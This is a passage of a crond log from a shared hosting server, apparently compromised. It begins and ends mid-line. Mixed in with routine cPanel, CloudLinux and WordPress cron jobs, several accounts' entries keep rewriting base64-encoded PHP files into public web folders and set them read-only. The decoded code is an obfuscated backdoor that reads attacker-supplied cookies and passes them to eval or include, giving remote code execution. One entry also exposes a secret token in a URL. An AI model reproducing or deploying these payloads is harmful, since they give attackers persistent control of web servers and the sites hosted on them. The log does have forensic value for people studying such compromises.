9sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:15:01 medusa CROND[28155]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:15:01 medusa CROND[28158]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:15:01 medusa CROND[28163]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 09:15:01 medusa CROND[28166]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 09:15:01 medusa CROND[28167]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:15:01 medusa CROND[28168]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:15:01 medusa CROND[28169]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:15:01 medusa CROND[28172]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:15:01 medusa CROND[28141]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 09:15:01 medusa CROND[28161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 09:16:01 medusa CROND[20019]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:16:01 medusa CROND[20104]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 09:16:01 medusa CROND[20105]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:16:01 medusa CROND[20106]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:16:01 medusa CROND[20107]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 09:16:01 medusa CROND[20108]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:16:01 medusa CROND[20109]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:16:01 medusa CROND[20110]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:16:01 medusa CROND[20111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:16:01 medusa CROND[20113]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:16:01 medusa CROND[20114]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:16:01 medusa CROND[20115]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:16:01 medusa CROND[20112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:16:01 medusa CROND[20124]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:17:02 medusa CROND[12041]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:17:02 medusa CROND[12042]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:17:02 medusa CROND[12043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:17:02 medusa CROND[12044]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:17:02 medusa CROND[12045]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 09:17:02 medusa CROND[12046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:17:02 medusa CROND[12047]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:17:02 medusa CROND[12049]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:17:02 medusa CROND[12050]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdT